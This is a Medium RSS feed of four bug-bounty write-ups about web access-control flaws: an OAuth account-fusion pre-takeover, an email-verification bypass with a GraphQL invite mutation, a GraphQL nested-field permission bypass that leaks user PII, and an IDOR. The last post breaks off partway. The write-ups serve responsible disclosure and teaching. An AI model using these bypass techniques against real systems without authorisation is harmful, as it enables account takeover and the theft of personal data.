<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by tinopreter on Medium]]></title>
        <description><![CDATA[Stories by tinopreter on Medium]]></description>
        <link>https://medium.com/@tinopreter?source=rss-c905cff15e87------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*UiumDACtfX4yPCDeuXi2KQ.jpeg</url>
            <title>Stories by tinopreter on Medium</title>
            <link>https://medium.com/@tinopreter?source=rss-c905cff15e87------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 18 May 2026 03:00:28 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@tinopreter/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[$500 OAuth Account Fusion Pre-Takeover Attack]]></title>
            <link>https://medium.com/@tinopreter/500-oauth-account-fusion-pre-takeover-attack-477484aa3813?source=rss-c905cff15e87------2</link>
            <guid isPermaLink="false">https://medium.com/p/477484aa3813</guid>
            <category><![CDATA[authentication-bypass]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[oauth]]></category>
            <dc:creator><![CDATA[tinopreter]]></dc:creator>
            <pubDate>Wed, 29 Apr 2026 11:19:12 GMT</pubDate>
            <atom:updated>2026-04-30T21:17:50.671Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Akwaaba!</em></strong> guys. Read my previous blog on <a href="https://medium.com/@tinopreter/exploiting-android-intent-redirection-a-hidden-path-to-internal-file-access-284cc7715f23"><strong>Android Intent Redirection</strong></a>, an easy $2000 for mobile app hackers. At times, a simple path tweak can <a href="https://medium.com/bugbountywriteup/unrestricted-access-to-all-user-information-rest-api-oversharing-e4a9a7e5bade"><strong>leak ALL user PII</strong></a><strong>. </strong>Let me tell you about a vulnerability I discovered simply by observing.</p><blockquote>‼️ <strong>Disclaimer:</strong><br>I’ve changed specific details about the application in this write-up for confidentiality. Even the screenshots shown are from a different, similar application that doesn’t have a bug bounty program — they’re only used for illustration.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*cz1nugG46cFcXg3u.gif" /><figcaption><a href="https://tenor.com/view/dragon-ball-z-fusion-dbz-goten-trunks-gif-8263700045051414172">Dragon Ball Z Fusion</a></figcaption></figure><h4>The Program</h4><p>This app offers two ways to sign up: the <strong>standard email/password</strong> route or a quick <strong>OAuth sign-up</strong> using Google or GitHub.</p><p>If you choose email/password, the app puts you in a “pending” state. You’re sent a verification link and blocked from the dashboard until you click it. However, the OAuth flow is different, it assumes the third-party provider has already done the legwork, so it bypasses the verification step entirely and drops you straight into the account.</p><h4>OAuth Account Fusion</h4><p>Imagine you create an account with user@gmail.com using a password but never bother to verify it. Later, you come back and click &quot;Sign up with Google&quot; using that same email. The application sees the matching email and automatically fuses the two accounts into one. Now, you can log in using either method.</p><p>The problem is that by “fusing” these accounts, the application effectively grants “verified” status to the original email/password account without the user ever having to click that verification link. It assumes that because you own the Google account, you must own the original unverified account, a shortcut that often leads to some serious security oversights.</p><h4>The Vulnerability</h4><p>While testing the account fusion logic, I found a clean way to bypass the verification requirement entirely.</p><p>If you create an account with an email and password but leave it in that “unverified” pending state, the app is just waiting for a confirmation. The second you (or anyone else) use that same email to sign up via OAuth, the app fuses the two. The “unverified” status of the email/password account is simply overwritten by the “trusted” status of the OAuth provider. No more verification link required.</p><blockquote>This <a href="https://medium.com/@tinopreter/1-500-pii-leak-via-graphql-field-level-permission-bypass-1e7ea2d1a019"><strong>GraphQL exploit</strong></a> made me <strong>$1,500 </strong>just because I read the JavaScript</blockquote><h4>The Exploit</h4><p>To test this, I started by acting as the attacker. I went to the standard registration page and signed up using a target email (let’s call it victim@gmail.com) and a password I controlled.</p><p>As expected, the application did its job, it hit me with a “Verify your account” wall and blocked me from the dashboard. I have the credentials, but I don’t have the access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*NDd8cu8G8jP66_RA.png" /><figcaption>Verify Email</figcaption></figure><p>With the first browser still stuck on the “Verify your email” screen, I opened a private tab and went through the <strong>Sign up with Google</strong> flow using that same email address.</p><p>As expected, the OAuth process completed and dropped me straight into the dashboard.</p><p>I switched back to the tab that had been sitting on the “Verify account” message and simply hit refresh. Instead of asking for a code, the page reloaded and redirected me immediately to the dashboard.</p><p>The application had seen the successful OAuth login, decided the email was now “trusted,” and instantly upgraded the pending session in my other browser.</p><blockquote>Read this different <a href="https://medium.com/@tinopreter/from-500-to-1-500-email-verification-bypass-impact-chaining-3efd55b24f23"><strong>Email Verification Bypass</strong></a> blog which led to a <strong>$1,500</strong> payout.</blockquote><h4>Impact of this Attack</h4><p>This works in a pre-takeover scenario where an attacker can sign up an account with anyone’s email address. With verification pending, they only need to wait out for the victim to sign up via OAuth. They can now access the same dashboard through the email-password channel whereas the victim would be using the OAuth channel.</p><h4>Payment</h4><p>I got paid $500 for this finding mostly because they focused on the fact that this is a Pre-Account Takeover.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*U4sJIrb0Hc-kDJn_ShzIkw.png" /><figcaption>Payment</figcaption></figure><blockquote><a href="https://medium.com/bugbountywriteup/from-429-to-200-from-bypass-to-bounty-using-x-overwriting-headers-e3a819d453a6"><strong>Rate Limit Bypass</strong></a> is actually easy when you know which header to use.</blockquote><p>Hey …<em>bye</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*kiD1AgoKqtKN2xF7.gif" /><figcaption>Mr. Marsh</figcaption></figure><p>Thanks for reading this, if you have any questions, you can DM me on X <em>@</em><a href="https://twitter.com/tinopreter">tinopreter</a>. Connect with me on LinkedIn <a href="https://www.linkedin.com/in/tinopreter">Clement Osei-Somuah</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=477484aa3813" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From $500 to $1,500 Email Verification Bypass: Impact Chaining]]></title>
            <link>https://medium.com/@tinopreter/from-500-to-1-500-email-verification-bypass-impact-chaining-3efd55b24f23?source=rss-c905cff15e87------2</link>
            <guid isPermaLink="false">https://medium.com/p/3efd55b24f23</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[email-verification-bypass]]></category>
            <category><![CDATA[hackerone]]></category>
            <dc:creator><![CDATA[tinopreter]]></dc:creator>
            <pubDate>Sat, 28 Mar 2026 18:53:58 GMT</pubDate>
            <atom:updated>2026-05-15T12:24:14.185Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Akwaaba!</em></strong> everyone. I’m back with another one. As always, check out my <a href="https://infosecwriteups.com/easy-150-misconfigured-sso-led-to-account-takeover-4e2b83b72395"><strong>$150 Misconfigured SSO</strong></a><strong> </strong>and an easy <a href="https://medium.com/@tinopreter/1-500-pii-leak-via-graphql-field-level-permission-bypass-1e7ea2d1a019"><strong>$1,500 GraphQL exploit</strong></a>.</p><blockquote><em>‼️ </em><strong><em>Disclaimer:</em></strong><em><br>I’ve changed specific details about the application in this write-up for confidentiality. Even the screenshots shown are from a different, similar application that doesn’t have a bug bounty program — they’re only used for illustration. Also, all API endpoints mentioned have been altered to avoid revealing the actual program.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*WGYX0vAqDFsTXLxR.gif" /></figure><h4>The Program</h4><p>Alright so I’m looking at this organization’s application: A management platform. The ecosystem consists of a main web interface at app.target.com for user onboarding and a GraphQL API endpoint hosted at app.target.com/api/v1/graphql. While mapping out the application’s functionality, I noticed it also allows inviting other users and there’s a page for user management where roles can be assigned and what not.</p><p>My testing methodology always begins by establishing a baseline for expected behavior. By using the application as intended, creating an account, verifying the email, and logging in, I can map out what a successful response looks like. I observed that the application issues a JWT for session management immediately after both email verification and standard authentication.</p><h4>The Vulnerability</h4><p>Initially, this was straight forward. After creating an account, I was hit with a ‘Verify Your Account’ wall. Without that activation link, there was no obvious path to the dashboard. I attempted several <strong>forced browsing</strong> techniques to bypass the requirement, but the server consistently redirected me back to the verification notice. At this stage, no session JWT had been issued, confirming that the application was correctly withholding authentication until the account was activated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JAqz4O8LmAgG_0eGPNhK5w.png" /><figcaption>Stuck at Verify Email Page</figcaption></figure><p>But looking through burp’s HTTP History tab, I noticed 3 GraphQL requests go through when this page loaded up for the first time. In contrast, when you do a fresh login with the newly created account, you get redirected to the same verification page. However, these 3 GraphQL requests do not happen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*q_vnZkzx3wjn3mx2UoIQjA.png" /><figcaption>3 graphQL requests are sent when the verif page loads up</figcaption></figure><p>These are easy to miss as a lot of GraphQL analytic operations are being sent during this time. Reviewing the first of the 3, I noticed it was a query operation to retrieve the signed-up user’s profile information. The second one retrieved my workspace info and the last retrieved my role information. In these 3 requests, there was a custom header named X-Target-Env-Access-Blobwhich contained a key. Removing this gave me a 401 error.</p><blockquote>This is another method I used to <a href="https://medium.com/bugbountywriteup/from-429-to-200-from-bypass-to-bounty-using-x-overwriting-headers-e3a819d453a6"><strong>Bypass Rate Limit</strong></a><strong> </strong>using some special headers in the request.</blockquote><h4>The Exploit</h4><p>Using the account I created earlier to understand the flow, I performed a few authenticated operations, including inviting another user to my workspace. This GraphQL mutation takes a workspace ID and the invitee’s email. I copied the mutation into Burp Suite’s Repeater, grabbed my workspace ID from the second background request I found earlier, and added the email address I wanted to invite.</p><pre>{<br>  &quot;query&quot;: &quot;mutation InviteUserToWorkspace($input: InviteUserInput!) {<br>    inviteUser(input: $input) {<br>      success<br>      message<br>      invitation {<br>        id<br>        email<br>        role<br>        status<br>      }<br>    }<br>  }&quot;,<br>  &quot;variables&quot;: {<br>    &quot;input&quot;: {<br>      &quot;workspaceId&quot;: &quot;ws_attackers_worspace_UUID&quot;,<br>      &quot;email&quot;: &quot;another-user@tinopreter.com&quot;,<br>      &quot;role&quot;: &quot;MEMBER&quot;<br>    }<br>  }<br>}</pre><p>I sent this and I got an invite link in my inbox. This means, even though my request does not have a valid JWT Authorization, the key in the X-Target-Env-Access-Blobheader provided me with an authenticated session to use the application through the APIs, without verifying my account.</p><blockquote>Decompile Android APK to learn how to <a href="https://medium.com/@tinopreter/notification-hijack-how-pendingintent-can-be-exploited-547b0892b7f7"><strong>Abuse Notification Logic</strong> </a>for exploit.</blockquote><h4>Impact of this Email Verification Bypass</h4><p>As an attacker, you could sign up using any organization’s email and take full control of the resulting workspace through the API. From there, you could create tasks and invite legitimate staff to join fraudulent projects. You could even invite your own external email addresses, assign yourself administrative privileges, and operate right alongside unsuspecting employees.</p><h4>Initial Payment</h4><p>I was paid <strong>$500 </strong>for this finding. I expected more but yeah.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*9DzIYQm0B214z4LwbKXj8A.png" /><figcaption>First $Payment$</figcaption></figure><p>But I wasn’t done yet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*XgnXfgnpBUP_KzM1AF2W5A.gif" /><figcaption>Randy</figcaption></figure><h4>First Escalation: Session Persistence ($150)</h4><p>When you create an account with your victim’s email and get stuck at the verify email page, you can manage your workspace through the APIs.</p><p><strong>The Invite Flow</strong></p><p>When you create an account, a workspace is automatically generated under your name. However, if a workspace admin is invited to join another user’s workspace and accepts that invitation, they immediately lose access to their own workspace and become a member of the new one.</p><p>When the victim (whose email we used to create the account) is invited to a legitimate workspace and accepts, they are prompted to set a new password. This immediately invalidates the password the attacker set during the initial account creation. Ideally, the workspace the attacker was operating under also gets abandoned. Once the victim sets their own password, the attacker’s unauthorized access is effectively cut off.</p><p>BUT<strong>,</strong> the access granted by those 3 GraphQL requests is never invalidated after the password change. We can now see the new workspace data the victim has access to.</p><p>Even after a new password is set and the initial workspace we controlled becomes invalid, the session remains persistent. I submitted this in a new report, but it was downgraded to <strong>Low</strong> severity due to specific attack constraints. I ultimately agreed with the assessment and was awarded a <strong>$150 bounty</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zb3fqoW6WMvaLDgbkae4ZA.png" /><figcaption>$Payment$</figcaption></figure><h4>Second Escalation: Account Linking ($200)</h4><p>I don’t want to make this write-up too long. This particular escalation was very interesting, I wrote about it here (<a href="https://medium.com/@tinopreter/500-oauth-account-fusion-pre-takeover-attack-477484aa3813"><strong>$500 OAuth Account Fusion Pre-Takover</strong></a>).</p><p>In summary, I identified an improper OAuth implementation where combining session persistence with the email verification bypass allowed for unauthorized account access. The security team determined that this finding shared the same root cause as the initial verification bypass, which acted as the anchor for most of these attacks. They downgraded the severity accordingly and awarded a <strong>$200 bounty</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iSSLeW6x0BYwzj9hynkZxg.png" /><figcaption>$200 Payment</figcaption></figure><h4>Final Argument: Getting Paid the Remains ($650)</h4><p>The fact that they all have the same root cause tied to the email verification bypass aside, the impact of this bypass extends far more than my initial report indicated. I reopened the bypass report and argued my point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2f9T1zz8SJHtHYg8ihNy5Q.png" /><figcaption>Maling my case.</figcaption></figure><p>They agreed and upgraded the original email verification bypass from <strong>Medium</strong> to <strong>High</strong>. Since I had already been paid $850, they issued the remaining $650 to meet the <strong>$1,500 total</strong> that a High-severity finding deserves.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7kxMmBWiPj7FIv6VVZWHvw.png" /><figcaption>Total $1,500 Payment</figcaption></figure><p>At times all it takes is taking some time away from the keyboard and coming back with new ideas. Communication is also very key.</p><blockquote>At times all it takes is <a href="https://medium.com/bugbountywriteup/unrestricted-access-to-all-user-information-rest-api-oversharing-e4a9a7e5bade"><strong>Changing the wording in an API’s path</strong></a><strong> </strong>to retrieve ALL user PII.</blockquote><p>Hey …<em>bye</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*tSo8cTvFBYNnzNSt.gif" /><figcaption>Mr. Marsh</figcaption></figure><p>Thanks for reading this, if you have any questions, you can DM me on X <em>@</em><a href="https://twitter.com/tinopreter">tinopreter</a>. Connect with me on LinkedIn <a href="https://www.linkedin.com/in/tinopreter">Clement Osei-Somuah</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3efd55b24f23" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[$1,500 PII Leak via GraphQL Field-Level Permission Bypass]]></title>
            <link>https://medium.com/@tinopreter/1-500-pii-leak-via-graphql-field-level-permission-bypass-1e7ea2d1a019?source=rss-c905cff15e87------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e7ea2d1a019</guid>
            <category><![CDATA[graphql]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[api]]></category>
            <dc:creator><![CDATA[tinopreter]]></dc:creator>
            <pubDate>Thu, 26 Feb 2026 08:59:52 GMT</pubDate>
            <atom:updated>2026-02-26T08:59:52.559Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Akwaaba!</em></strong> I’ve been having some luck with GraphQL API vulnerabilities lately and this would be the first writeup on an incoming series. I farmed a lot of <a href="https://medium.com/@tinopreter/500-for-a-uuid-swap-i-almost-gave-up-on-this-idor-ae7a0adb518d"><strong>$500 IDORs</strong></a> but checkout how <a href="https://medium.com/@tinopreter/notification-hijack-how-pendingintent-can-be-exploited-547b0892b7f7"><strong>Notifications in an Android device can be exploited</strong></a>.</p><blockquote>‼️ <strong>Disclaimer:</strong><br>I’ve changed specific details about the application in this write-up for confidentiality. Even the screenshots shown are from a different, similar application that doesn’t have a bug bounty program — they’re only used for illustration. Also, all GraphQL operations mentioned have been renamed to avoid revealing the actual program.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*a-Tur5R-3i9ANuP3raZCSg.png" /><figcaption>Banner</figcaption></figure><h4>The Program</h4><p>This is an AI platform designed for model management. Inside the workspace, you can deploy models, invite collaborators, and assign roles. To handle all these moving parts, the application relies heavily on <a href="https://graphql.org/"><strong>GraphQL</strong></a><strong> </strong>for its API.</p><h4>A bit about GraphQL</h4><p><strong>GraphQL</strong> is a developer-friendly query language that lets you specify exactly what data you want to retrieve or modify. Originally developed by Facebook and open-sourced in 2015, it was designed to fix REST’s biggest headaches: <strong>over-fetching</strong> (getting too much data) and <strong>under-fetching</strong> (not getting enough). Instead of chaining multiple REST calls, GraphQL uses a single endpoint to deliver exactly what you ask for in one shot.</p><h4>REST API’s Over-Sharing</h4><p>In a typical application, the UI is usually restrictive. You might see a list of friends, and clicking a profile only shows you a name and a “message” icon. On the surface, it looks like the app is only sharing basic public info.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e32bocj-zFEYYSFtXs-Z0w.png" /><figcaption>Front-end shows limited info</figcaption></figure><p>In REST, the request that retrieves this friend’s info is usually a simple <strong>GET</strong> to an endpoint using their UUID. The oversharing happens when the API returns a much larger object than the UI actually needs. Even though you only see a name and a message icon on the screen, the background response might include their email, role, and account creation date, etc. At this point, the frontend is doing all the work, filtering the data to show only the name while the sensitive details sit unused, but fully exposed, in the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*5tJpBk_lfWH4S3NLaruT-Q.png" /><figcaption>The REST API retrieved more info than the front-end needed</figcaption></figure><h4>How GraphQL Solves REST API’s Over-Sharing</h4><p><strong>GraphQL</strong> is direct. You tell it you only want a user’s first name, and it returns exactly that. This is done through a <strong>query</strong> operation. In our case, since the web page only needs to render the friend’s name, we pass their ID to the query and request only that specific field.</p><p>Unlike REST, where the server decides what you get, GraphQL puts the control in the hands of the request. This removes the need for the frontend to filter out a massive, data-heavy response just to show a single name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*W6kEAnV8vn9nLgXXlGzoEA.png" /><figcaption>GraphQL solves REST over sharing</figcaption></figure><p>Reformatting the GraphQL body, we see a query operation named FriendAccount. In this request, we query the <em>user </em>object by passing the friend’s UUID as a variable. Following the GraphQL standard, we specify exactly which fields we want to return, in this case, just the name. The API responds with exactly that and nothing more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*Eo4fe8phWpyrqvQp4GYcjA.png" /></figure><p>This solves a massive problem found in most REST API implementations. But GraphQL introduces its own set of challenges. In a recent bug hunt, I identified a <strong>High-rated vulnerability</strong> by exploiting a common misconfiguration in how permissions are implemented.</p><h4>The vulnerability</h4><p>As a workspace admin, you can create either <strong>Private</strong> or <strong>Public</strong> webhooks. Private webhooks are locked to specific AI model projects, while Public webhooks are available to the entire organization. Per their permission model, a low-privileged user should never be able to query webhooks associated with projects they aren’t assigned to.</p><p>I identified two vulnerabilities where a low-level user could not only query private webhooks from other projects but also escalate that access to retrieve sensitive information about other users.</p><h4>How a Low Privileged User can query Private Webhooks</h4><p>The GetProjectWebhooks query is used to retrieve private webhooks assigned to a specific project. Because of this, the operation requires us to pass a project ID as a variable. Under normal conditions, low-level users can only successfully run this request using the ID of a project they are actually assigned to. Notice how the project object is the root of the query, and the webhooks exist as a nested field directly under it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vY0qlxdnY-kTztFyQ3CsVg.png" /><figcaption>Return webhooks for projects we are assigned to</figcaption></figure><p>When a low-level user attempts to retrieve webhooks on a project they haven’t been assigned to, the API responds with an error showing they lack the appropriate VIEW_PROJECT permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c1Y-o7ViKCxmuzpu4evEwQ.png" /><figcaption>can’t retrieve webhooks of unassigned projects</figcaption></figure><p>However, this restriction can be bypassed by calling a different operation: GetOrgWebhooks. Originally intended for Admins, this query returns all global webhooks, including those assigned to projects a low-level user isn&#39;t supposed to see.</p><p>Notice the shift in the hierarchy: here, the <strong>organization</strong> object is the root of the query, and the <strong>project</strong> object exists as a sub-object within it. While the API blocks a direct query to the project, it fails to verify permissions when that same project is accessed through the organization parent. By pivoting through the organization object, a restricted user can reach the exact same data that was previously forbidden.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pWgi5_Ga1nHe7D9tqx6kAw.png" /><figcaption>return all Organizational webhooks</figcaption></figure><p>From the <strong>Organization</strong> object, there is a webhook field that references the Webhook object and a project field that references the Project object. This means if you query the Organization, you can pull both Webhooks and Projects at the same time.</p><p>The <strong>Project</strong> object works the same way. You can call the Webhook object directly under it. The data is mapped in a circle: you can reach the same webhook data whether you start your query at the Organization level or the Project level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4lYOh2kZ43rZsgMnX67CQg.png" /><figcaption>Relationship schema</figcaption></figure><p>The application lacked <strong>Field-level Permissions</strong>. Even though the API blocks a direct query to a Project with an ID, it fails to verify those same permissions when the Project is requested as a nested field under the Organization. By simply shifting the starting point of the query to the Organization level, you can bypass the restriction and pull the exact same project data that was previously &quot;forbidden.&quot;</p><blockquote>Another shameless plug of my writeup on how I <a href="https://infosecwriteups.com/from-429-to-200-from-bypass-to-bounty-using-x-overwriting-headers-e3a819d453a6"><strong>Bypassed Rate Limit</strong></a> with a classic secret header.</blockquote><h4>Escalating this to Retrieve other User Info</h4><p>Yes, a low-level user has been able to query all projects to see their webhooks. That’s not enough to be considered high. On this platform, even if two low-level users are assigned to the exact same project, they should remain completely invisible to each other. The workspace is designed so that every user works isolated, unaware that anyone else is even part of the project.</p><p>The <strong>Organization</strong> object has other interesting fields, like members. This field is designed to return everyone in the entire organization, an object with its own sensitive fields like IDs, emails, and roles.</p><p>As a low-level user, I tried to inject this members field into the GetOrgWebhooks operation to see if it would leak the directory. It failed with a permission error! In this specific instance, they actually had <strong>field-level permissions</strong> implemented correctly to block unauthorized access to the member list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*stckU8H7LQzxqV2GhXW-UA.png" /><figcaption>Can’t query members object as a field</figcaption></figure><h4>JavaScript to the Rescue, again!</h4><p>Just as I was about to report this as a possible Low, I downloaded the bundled index.js file. It was a massive wall of code that contained the schema definitions for all queries and mutations. On <strong>line 3193</strong>, I spotted a query operation called GetSuggestedCollaborators.</p><p>What made this weird was the structure. This query took a projectId and targeted the <strong>Project</strong> object but this time, the Project object had a new field called suggestedCollaborators. This field was an object itself, and its structure was nearly identical to the members object I had just been blocked from accessing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*0kDy2LwOQ_YqAQ1Q-9dLRQ.png" /><figcaption>JS leaks interesting query</figcaption></figure><p>I took the suggestedCollaborators field and nested it under the <strong>Project</strong> object within the GetOrgWebhooks query. Since the API was already failing to check permissions on projects accessed through the Organization, it also failed to check permissions on this new &quot;suggested&quot; field.</p><p>I was able to retrieve a complete list of member IDs and emails, right alongside the private project names and secret webhooks I wasn’t supposed to see.</p><pre>Failed: organizations-&gt;projects-&gt;members ❌<br>Valid: organizations-&gt;projects-&gt;suggestedCollaborators ✅</pre><h4>The Exploit</h4><p>To confirm my theory that members and suggestedCollaborators were the same objects under different names, I passed the sensitive fields I’d seen earlier in the members object into the suggestedCollaborators object.</p><p>It worked.</p><p>The API didn’t just return a name; it returned the full profile for every user. By querying the Organization, I could now see every project in the entire company and, for each one, a complete list of every user assigned to it regardless of whether I was supposed to know they existed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*55f_ndoFvHUErTsXdnRK7g.png" /><figcaption>Retrieve members under suggestedCollaborators</figcaption></figure><p>I suspect both objects either implement the same <a href="https://graphql.com/learn/interfaces-and-unions/"><em>interface</em></a> or suggestedCollaborators is simply a duplicate of members created without any permission checks. By passing member-specific fields like IDs, intercomHash and emails into the suggestedCollaborators object, I confirmed they were pulling from the same data source.</p><blockquote>First time <a href="https://medium.com/@tinopreter/1-500-recon-secrets-dorks-to-dollars-0e7eca022708"><strong>Reading JavaScript earned me $1,500</strong></a> in a bug hunt, I’ve never looked back since.</blockquote><h4>Impact and Payment</h4><p>In this application context, this attack allows the attacker to steal sensitive PII for all registered users (emails, names, roles, etc.) and gain access to confidential Project and User info.</p><p>I reported this as High, but HackerOne triage did their thing and downgraded it, which was bizarre.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*Pu5U8OPv9l-TV5Bd0ovAQA.png" /><figcaption>severity downgrade</figcaption></figure><p>I didn’t bother arguing the severity at first since the program’s own policy classified leaking other users’ basic info as PII, so I waited for them to just come see this. A few days later, the same HackerOne triager returned and upgraded the report back to <strong>High</strong>. The program was impressed with the depth of the bypass and awarded me a <strong>$1,500 bounty</strong> for my troubles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*znoeIeaReV6C1rzjdX1nIA.png" /><figcaption>severity upgrade &amp; getting $paid$</figcaption></figure><blockquote>Android app hacking is not limited to proxying traffic in Burpsuite only, you can read APK code to <a href="https://medium.com/@tinopreter/secure-notes-app-pin-brute-force-attack-via-insecure-content-provider-mobilehackinglab-6914cc8ff66e"><strong>Exploit misconfigured Content Providers</strong></a>.</blockquote><p>Until next time…<em>bye</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*Ax-CCffuHR3WK99h.gif" /><figcaption>Mr. Marsh</figcaption></figure><p>Thanks for reading this, if you have any questions, you can DM me on X <em>@</em><a href="https://twitter.com/tinopreter">tinopreter</a>. Connect with me on LinkedIn <a href="https://www.linkedin.com/in/tinopreter">Clement Osei-Somuah</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e7ea2d1a019" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[$500 for a UUID Swap: I Almost Gave Up on This IDOR]]></title>
            <link>https://medium.com/@tinopreter/500-for-a-uuid-swap-i-almost-gave-up-on-this-idor-ae7a0adb518d?source=rss-c905cff15e87------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae7a0adb518d</guid>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[information-disclosure]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[hackerone]]></category>
            <dc:creator><![CDATA[tinopreter]]></dc:creator>
            <pubDate>Wed, 28 Jan 2026 12:54:04 GMT</pubDate>
            <atom:updated>2026-01-31T23:20:40.523Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Akwaaba! </strong>to you all. I’m going to describe a simple IDOR scenario I came across in a bug hunt. As always, I’d recommend you read about my <a href="https://medium.com/@tinopreter/1-500-recon-secrets-dorks-to-dollars-0e7eca022708"><strong>$1,500 Recon Tips</strong></a><strong> </strong>but if you’re a Mobile app testing enthusiast, check out <a href="https://medium.com/@tinopreter/exploiting-android-intent-redirection-a-hidden-path-to-internal-file-access-284cc7715f23"><strong>Coding Exploit App to exploit LFI</strong></a> in Android.</p><blockquote><em>‼️ </em><strong><em>Disclaimer:</em></strong><em><br>I’ve changed specific details about the application in this write-up for confidentiality. Even the screenshots shown are from a different, similar application that doesn’t have a bug bounty program — they’re only used for illustration. Also, all API endpoints mentioned have been altered to avoid revealing the actual program.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*poK4Cx_PGbFQaPmNxM6FRQ.png" /><figcaption>Banner made with AI</figcaption></figure><h4>The Program</h4><p>This company provides an application that can best be described as a modern-day password manager. A key feature of the app is the ability to add a <strong>trusted device</strong>, which allows users to bypass <strong>OTP verification</strong> during the login process on that specific device.</p><h4>The vulnerability</h4><p>There is an API endpoint to retrieve information about our own Trusted device. This endpoint takes our account’s UUID and returns the device’s information. There was an IDOR vulnerability in this API that allowed an attacker to retrieve device info belonging to other users in the same tenant.</p><p><strong>IDOR (Insecure Direct Object Reference)</strong> is a type of access control vulnerability that occurs when an application provides direct access to objects based on user-supplied input. Any form of info is stored as an object. For instance, User information is stored as objects that are referenced via specific identifiers, such as predictable integers or randomized strings.</p><blockquote>An <strong>IDOR vulnerability</strong> occurs when these identifiers can be manipulated to reveal another user’s object without proper authorization.</blockquote><pre>#Return our Trusted device info by passing our UUID to the endpoint<br>/api/v3/trusted-devices/&lt;UUID&gt;</pre><p>I know what you’re thinking, create two accounts, substitute account B’s UUID into the endpoint to retrieve their Trusted device information. I did that, <strong>IT DIDN’T WORK</strong>. I got a 403-permission error.</p><blockquote>If you fancy core Android app attacks (not the Burpsuite kind), check out how I <a href="https://medium.com/@tinopreter/secure-notes-app-pin-brute-force-attack-via-insecure-content-provider-mobilehackinglab-6914cc8ff66e"><strong>exploited a Content Provider</strong></a></blockquote><h4>JS Recon to Discover More</h4><p>I have to admit; I had initially given up on finding an IDOR. However, while attempting to execute a separate attack, I began reviewing the JavaScript to identify all admin-related requests (those directed to /api/v3/admin/*). During this process, I stumbled upon an endpoint that got me thinking. This specific endpoint is triggered when clicking on a user with whom you have shared a password, and it returns limited information such as their name and role.</p><pre>#different endpoint to return limited member info<br>/api/v3/members/&lt;UUID&gt;/account/info<br></pre><p>So, I thought: if ../account/info returns only limited account details, what happens when I change things up a bit?</p><blockquote>I’m fond of reviewing JS files even though I can’t code JS. Read how I made <a href="https://medium.com/@tinopreter/1-500-recon-secrets-dorks-to-dollars-0e7eca022708"><strong>$1,500 from simply reviewing JavaScript 